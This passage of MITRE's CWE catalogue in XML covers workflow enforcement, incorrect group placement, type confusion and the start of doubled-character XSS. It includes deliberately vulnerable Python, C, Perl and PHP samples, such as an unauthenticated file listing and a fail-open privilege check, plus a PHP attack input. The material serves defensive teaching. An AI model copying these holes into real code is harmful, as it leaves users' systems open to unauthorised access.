				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">XSS using Script Via Encoded
						URI Schemes</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Failure to Resolve Encoded
						URI Schemes in a Web Page</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="841" Name="Improper Enforcement of Behavioral Workflow" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software supports a session in which more than one behavior
					must be performed by an actor, but it does not properly ensure that the actor
					performs the behaviors in the required sequence.</Description_Summary>
				        <Extended_Description>
					          <Text>By performing actions in an unexpected order, or by omitting steps, an
						attacker could manipulate the business logic of the software or cause it to
						enter an invalid state. In some cases, this can also expose resultant
						weaknesses.</Text>
					          <Text>For example, a file-sharing protocol might require that an actor perform
						separate steps to provide a username, then a password, before being able to
						transfer files. If the file-sharing server accepts a password command
						followed by a transfer command, without any username being provided, the
						software might still perform the transfer.</Text>
					          <Text>Note that this is different than CWE-696, which focuses on when the
						software performs actions in the wrong sequence; this entry is closely
						related, but it is focused on ensuring that the actor performs actions in
						the correct sequence. </Text>
					          <Text>Workflow-related behaviors include:</Text>
					          <Block Block_Nature="List">
						            <Text>Steps are performed in the expected order.</Text>
						            <Text>Required steps are not omitted.</Text>
						            <Text>Steps are not interrupted.</Text>
						            <Text>Steps are performed in a timely fashion.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>438</Relationship_Target_ID>
					          <!--Behavioral Problems-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could cause the software to skip critical steps or perform
							them in the wrong order, bypassing its intended business logic. This can
							sometimes have security implications.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code is part of an FTP server and deals with various commands
						that could be sent by a user. It is intended that a user must successfully
						login before performing any other action such as retrieving or listing
						files.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Python</Code_Example_Language>
							              <Code>def dispatchCommand(command, user, args):</Code>
							              <Block>
								                <Code>if command == 'Login':</Code>
								                <Block>
									                  <Code>loginUser(args)</Code>
									                  <Code>return</Code>
								                </Block>
								                <Comment># user has requested a file</Comment>
								                <Code>if command == 'Retrieve_file':</Code>
								                <Block>
									                  <Code>if authenticated(user) and ownsFile(user,args):</Code>
									                  <Code>sendFile(args)</Code>
									                  <Code>return</Code>
								                </Block>
								                <Code>if command == 'List_files':</Code>
								                <Block>
									                  <Code>listFiles(args)</Code>
									                  <Code>return</Code>
								                </Block>
								                <Comment>...</Comment>
							              </Block>
						            </Block>
						            <Text> The server correctly does not send files to a user that isn't logged
							in and doesnt own the file. However, the server will incorrectly list
							the files in any directory without confirming the command came from an
							authenticated user, and that the user is authorized to see the
							directory's contents. </Text>
						            <Text>Here is a fixed version of the above example:</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Python</Code_Example_Language>
							              <Code>def dispatchCommand(command, user, args):</Code>
							              <Block>
								                <Comment>...</Comment>
								                <Code>if command == 'List_files':</Code>
								                <Block>
									                  <Code>if authenticated(user) and
										ownsDirectory(user,args):</Code>
									                  <Block>
										                    <Code>listFiles(args)</Code>
										                    <Code>return</Code>
									                  </Block>
								                </Block>
								                <Comment>...</Comment>
							              </Block>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-0348</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass of access/billing restrictions by sending
						traffic to an unrestricted destination before sending to a restricted
						destination.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3012</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker can access portions of a restricted page
						by canceling out of a dialog.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-5056</Observed_Example_Reference>
					          <Observed_Example_Description>Ticket-tracking system does not enforce a
						permission setting.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2164</Observed_Example_Reference>
					          <Observed_Example_Description>Shopping cart does not close a database connection
						when user restores a previous order, leading to connection
						exhaustion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0777</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product does not properly handle dropped
						connections, leading to missing NULL terminator (CWE-170) and segmentation
						fault.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3327</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Authentication bypass by skipping the first
						startup step as required by the protocol.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0829</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: File server crashes when sent a "find next"
						request without an initial "find first."</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2620</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server allows remote attackers to bypass
						authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands
						without performing the required login steps first.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3296</Observed_Example_Reference>
					          <Observed_Example_Description>FTP server allows remote attackers to list
						arbitrary directories as root by running the LIST command before logging in.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This weakness is typically associated with business logic flaws, except
						when it produces resultant weaknesses.</Text>
					          <Text>The classification of business logic flaws has been under-studied,
						although exploitation of business flaws frequently happens in real-world
						systems, and many applied vulnerability researchers investigate them. The
						greatest focus is in web applications. There is debate within the community
						about whether these problems represent particularly new concepts, or if they
						are variations of well-known principles. </Text>
					          <Text>Many business logic flaws appear to be oriented toward business processes,
						application flows, and sequences of behaviors, which are not as
						well-represented in CWE as weaknesses related to input validation, memory
						management, etc.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Jeremiah Grossman</Reference_Author>
					          <Reference_Title>Business Logic Flaws and Yahoo Games</Reference_Title>
					          <Reference_Date>2006-12-08</Reference_Date>
					          <Reference_PubDate>October 2007</Reference_PubDate>
					          <Reference_Link>http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Jeremiah Grossman</Reference_Author>
					          <Reference_Title>Seven Business Logic Flaws That Put Your Website At
						Risk</Reference_Title>
					          <Reference_PubDate>October 2007</Reference_PubDate>
					          <Reference_Link>http://www.whitehatsec.com/home/assets/WP_bizlogic092407.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>WhiteHat Security</Reference_Author>
					          <Reference_Title>Business Logic Flaws</Reference_Title>
					          <Reference_Link>http://www.whitehatsec.com/home/solutions/BL_auction.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>WASC</Reference_Author>
					          <Reference_Title>Insufficient Process Validation</Reference_Title>
					          <Reference_Link>http://projects.webappsec.org/w/page/13246943/Insufficient-Process-Validation</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Rafal Los</Reference_Author>
					          <Reference_Author>Prajakta Jagdale</Reference_Author>
					          <Reference_Title>Defying Logic: Theory, Design, and Implementation of Complex
						Systems for Testing Application Logic</Reference_Title>
					          <Reference_PubDate>2011</Reference_PubDate>
					          <Reference_Link>http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Rafal Los</Reference_Author>
					          <Reference_Title>Real-Life Example of a 'Business Logic Defect' (Screen
						Shots!)</Reference_Title>
					          <Reference_PubDate>2011</Reference_PubDate>
					          <Reference_Link>http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Viktoria Felmetsger</Reference_Author>
					          <Reference_Author>Ludovico Cavedon</Reference_Author>
					          <Reference_Author>Christopher Kruegel</Reference_Author>
					          <Reference_Author>Giovanni Vigna</Reference_Author>
					          <Reference_Title>Toward Automated Detection of Logic Vulnerabilities in Web
						Applications</Reference_Title>
					          <Reference_Publication>USENIX Security Symposium 2010</Reference_Publication>
					          <Reference_PubDate>August 2010</Reference_PubDate>
					          <Reference_Link>http://www.usenix.org/events/sec10/tech/full_papers/Felmetsger.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Faisal Nabi</Reference_Author>
					          <Reference_Title>Designing a Framework Method for Secure Business Application
						Logic Integrity in e-Commerce Systems</Reference_Title>
					          <Reference_Section>pages 29 - 41</Reference_Section>
					          <Reference_Publication>International Journal of Network Security, Vol.12,
						No.1</Reference_Publication>
					          <Reference_PubDate>2011</Reference_PubDate>
					          <Reference_Link>http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Insufficient Process Validation</Mapped_Node_Name>
					          <Mapped_Node_ID>40</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2011-03-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples,
						Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="842" Name="Placement of User into Incorrect Group" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software or the administrator places a user into an
					incorrect group.</Description_Summary>
				        <Extended_Description>
					          <Text>If the incorrect group has more access or privileges than the intended
						group, the user might be able to bypass intended security policy to access
						unexpected resources or perform unexpected actions. The access-control
						system might not be able to detect malicious usage of this group
						membership.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>286</Relationship_Target_ID>
					          <!--Incorrect User Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1193</Observed_Example_Reference>
					          <Observed_Example_Description>Operating system assigns user to privileged wheel
						group, allowing the user to gain root
						privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3716</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: drafted web request allows the creation of
						users with arbitrary group membership.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5397</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: improper processing of configuration
						options causes users to contain unintended group
						memberships.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-6644</Observed_Example_Reference>
					          <Observed_Example_Description>CMS does not prevent remote administrators from
						promoting other users to the administrator group, in violation of the
						intended security model.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3260</Observed_Example_Reference>
					          <Observed_Example_Description>Product assigns members to the root group,
						allowing escalation of privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0080</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: daemon does not properly clear groups
						before dropping privileges.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2011-03-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="843" Name="Access of Resource Using Incompatible Type ('Type Confusion')" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The program allocates or initializes a resource such as a
					pointer, object, or variable using one type, but it later accesses that resource
					using a type that is incompatible with the original type.</Description_Summary>
				        <Extended_Description>
					          <Text>When the program accesses the resource using an incompatible type, this
						could trigger logical errors because the resource does not have expected
						properties. In languages without memory safety, such as C and C++, type
						confusion can lead to out-of-bounds memory access.</Text>
					          <Text>While this weakness is frequently associated with unions when parsing data
						with many different embedded object types in C, it can be present in any
						application that can interpret the same variable or memory location in
						multiple ways.</Text>
					          <Text>This weakness is not unique to C and C++. For example, errors in PHP
						applications can be triggered by providing array parameters when scalars are
						expected, or vice versa. Languages such as Perl, which perform automatic
						conversion of a variable of one type when it is accessed as if it were
						another type, can also contain these issues.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>704</Relationship_Target_ID>
					          <!--Incorrect Type Conversion or Cast-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language_Class Language_Class_Description="Language-independent"/>
					          <Language_Class Language_Class_Description="Type-unsafe Languages"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Object Type Confusion</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code uses a union to support the representation of
						different types of messages. It formats messages differently, depending on
						their type.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define NAME_TYPE 1</Code>
							              <Code>#define ID_TYPE 2</Code>
							              <Code/>
							              <Code>struct MessageBuffer</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>int msgType;</Code>
								                <Code>union {</Code>
								                <Block>
									                  <Code>char *name;</Code>
									                  <Code>int nameID;</Code>
								                </Block>
								                <Code>};</Code>
							              </Block>
							              <Code>};</Code>
							              <Code/>
							              <Code/>
							              <Code>int main (int argc, char **argv) {</Code>
							              <Block>
								                <Code>struct MessageBuffer buf;</Code>
								                <Code>char *defaultMessage = "Hello World";</Code>
								                <Code/>
								                <Code>buf.msgType = NAME_TYPE;</Code>
								                <Code>buf.name = defaultMessage;</Code>
								                <Code>printf("Pointer of buf.name is %p\n", buf.name);</Code>
								                <Comment>/* This particular value for nameID is used to make the
									code architecture-independent. If coming from untrusted input,
									it could be any value. */</Comment>
								                <Code>buf.nameID = (int)(defaultMessage + 1);</Code>
								                <Code>printf("Pointer of buf.name is now %p\n", buf.name);</Code>
								                <Code>if (buf.msgType == NAME_TYPE) {</Code>
								                <Block>
									                  <Code>printf("Message: %s\n", buf.name);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>printf("Message: Use ID %d\n", buf.nameID);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The code intends to process the message as a NAME_TYPE, and sets the
							default message to "Hello World." However, since both buf.name and
							buf.nameID are part of the same union, they can act as aliases for the
							same memory location, depending on memory layout after
							compilation.</Text>
						            <Text>As a result, modification of buf.nameID - an int - can effectively
							modify the pointer that is stored in buf.name - a string. </Text>
						            <Text>Execution of the program might generate output such as:</Text>
						            <Block Block_Nature="Result">
							              <Text>Pointer of name is 10830</Text>
							              <Text>Pointer of name is now 10831</Text>
							              <Text>Message: ello World</Text>
						            </Block>
						            <Text>Notice how the pointer for buf.name was changed, even though buf.name
							was not explicitly modified.</Text>
						            <Text>In this case, the first "H" character of the message is omitted.
							However, if an attacker is able to fully control the value of
							buf.nameID, then buf.name could contain an arbitrary pointer, leading to
							out-of-bounds reads or writes.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following PHP code accepts a value, adds 5, and prints the
						sum.</Intro_Text>
					          <Example_Body>
						            <Block>
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$value = $_GET['value'];</Code>
							              <Code>$sum = $value + 5;</Code>
							              <Code>echo "value parameter is '$value'&lt;p&gt;";</Code>
							              <Code>echo "SUM is $sum";</Code>
						            </Block>
						            <Text>When called with the following query string:</Text>
						            <Block Block_Nature="Attack">
							              <Text>value=123</Text>
						            </Block>
						            <Text>the program calculates the sum and prints out:</Text>
						            <Block Block_Nature="Result">
							              <Text>SUM is 128</Text>
						            </Block>
						            <Text>However, the attacker could supply a query string such as: </Text>
						            <Block Block_Nature="Attack">
							              <Text>value[]=123</Text>
						            </Block>
						            <Text>The "[]" array syntax causes $value to be treated as an array type,
							which then generates a fatal error when calculating $sum:</Text>
						            <Block Block_Nature="Result">
							              <Text>Fatal error: Unsupported operand types in program.php on line
								2</Text>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following Perl code is intended to look up the privileges for
						user ID's between 0 and 3, by performing an access of the
						$UserPrivilegeArray reference. It is expected that only userID 3 is an admin
						(since this is listed in the third element of the array).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $UserPrivilegeArray = ["user", "user", "admin", "user"];</Code>
							              <Code/>
							              <Code>my $userID = get_current_user_ID();</Code>
							              <Code/>
							              <Code>if ($UserPrivilegeArray eq "user") {</Code>
							              <Block>
								                <Code>print "Regular user!\n";</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else {</Code>
							              <Block>
								                <Code>print "Admin!\n";</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>print "\$UserPrivilegeArray = $UserPrivilegeArray\n";</Code>
						            </Block>
						            <Text>In this case, the programmer intended to use
							"$UserPrivilegeArray-&gt;{$userID}" to access the proper position in the
							array. But because the subscript was omitted, the "user" string was
							compared to the scalar representation of the $UserPrivilegeArray
							reference, which might be of the form "ARRAY(0x229e8)" or
							similar.</Text>
						            <Text>Since the logic also "fails open" (CWE-636), the result of this bug is
							that all users are assigned administrator privileges.</Text>
						            <Text>While this is a forced example, it demonstrates how type confusion can
							have security consequences, even in memory-safe languages.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-4577</Observed_Example_Reference>
					          <Observed_Example_Description>Type confusion in CSS sequence leads to
						out-of-bounds read.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-0611</Observed_Example_Reference>
					          <Observed_Example_Description>Size inconsistency allows code execution, first
						discovered when it was actively exploited
						in-the-wild.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-0258</Observed_Example_Reference>
					          <Observed_Example_Description>Improperly-parsed file containing records of
						different types leads to code execution when a memory location is
						interpreted as a different object than
						intended.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Type confusion weaknesses have received some attention by applied
						researchers and major software vendors for C and C++ code. Some
						publicly-reported vulnerabilities probably have type confusion as a
						root-cause weakness, but these may be described as "memory corruption"
						instead. This weakness seems likely to gain prominence in upcoming
						years.</Text>
					          <Text>For other languages, there are very few public reports of type confusion
						weaknesses. These are probably under-studied. Since many programs rely
						directly or indirectly on loose typing, a potential "type confusion"
						behavior might be intentional, possibly requiring more manual
						analysis.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>Ryan Smith</Reference_Author>
					          <Reference_Author>David Dewey</Reference_Author>
					          <Reference_Title>Attacking Interoperability</Reference_Title>
					          <Reference_Section>"Type Confusion Vulnerabilities," page 59</Reference_Section>
					          <Reference_PubDate>2009</Reference_PubDate>
					          <Reference_Link>http://www.azimuthsecurity.com/resources/bh2009_dowd_smith_dewey.pdf</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Type Confusion", Page 319.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2011-05-15</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="85" Name="Doubled Character XSS Manipulations" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The web application does not filter user-controlled input for
					executable script disguised using doubling of the involved
					characters.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>79</Relationship_Target_ID>
					          <!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>675</Relationship_Target_ID>
					          <!--Duplicate Operations on Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Resolve all filtered input to absolute or canonical representations
							before processing.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Carefully check each input parameter against a rigorous positive
							specification (white list) defining the specific characters and format
							allowed. All input should be neutralized, not just parameters that the
							user is supposed to specify, but all data in the request, including tag
